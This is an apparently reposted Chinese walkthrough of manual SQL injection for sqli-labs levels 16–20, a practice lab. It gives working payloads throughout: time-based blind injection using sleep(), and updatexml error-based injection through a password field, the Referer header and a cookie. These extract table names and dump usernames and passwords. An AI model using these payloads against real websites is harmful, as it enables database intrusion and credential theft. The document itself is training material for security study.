欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 能源 > sqlilabs less16-20关手工注入

sqlilabs less16-20关手工注入

2024/10/23 8:11:37 来源:https://blog.csdn.net/m0_75036923/article/details/141395386  浏览:    关键词:sqlilabs less16-20关手工注入

第16关

一.判断闭合方式

闭合方式点“)

admin")and1=1#

二.判断数据库长度

admin") and if(length(database())>7, 0, sleep(5))#

页面无延迟 

admin") and if(length(database())>8, 0, sleep(5))#

 

页面有延迟说明数据库长度为8

三.判断数据库的第一个字符

admin") and if(ascii(substr(database(),1,1))>114, 0, sleep(5))#

页面无延迟

admin") and if(ascii(substr(database(),1,1))>115, 0, sleep(5))#

 

页面有延迟说明数据库第一个字符为‘s’

........

最终得出数据库为security

四.判断数据库的表名

admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>117, 0, sleep(5))#

说明数据库表名第一个字符为‘u’

.......

最终得出第一张表为users

五.判断表中的字段

admin") and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105, 0, sleep(5))-- -

页面有延迟说明表中的第一个字段为‘e'

.......

以此类推可得出所有

第17关

 一判断闭合点

发现只有用户名采用了过滤函数,  修改的密码并没有过滤;所以利用密码进行报错注入

1’ and 1=1;

二. 查询数据库

1'or updatexml(1,concat('~', database(), '~'),0) #

 

 二.查询数据库下的所有表

1'or updatexml(1,concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database()), '~'),3) #

三.查询user表中的所有列

1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),'~'),1)#

 

四.查询所有数据

1' and updatexml(1,concat('~',(select group_concat(username,password) from users),'~'),1)#

 

第18关

利用urp Suite 抓包,在Referer后面进行注入测试

一.判断闭合点

闭合点为1'and

二.查询数据库

updatexml(1, concat(1, database ()), 1)and'

三.查表名

1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and' 

 

四.查列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

 

五.查看users表中所有信息 

1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)and'

第19关

与第18关同理

一.判断闭合点

闭合方式为'and'

 

二.查数据库

'and updatexml(1,concat(1,database()),1)and'

 

三.查表名

1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and'

 

四.查列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

 

五.查看users表中所有信息

1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)and'

 

第20关

一.判断闭合方式

闭合方式为'--+

二.查数据库

'and updatexml(1,concat(1,database()),1)--+

 

三.查表名

'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

 

四.查列名

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

五.查看users表中所有信息

' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)--+

 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com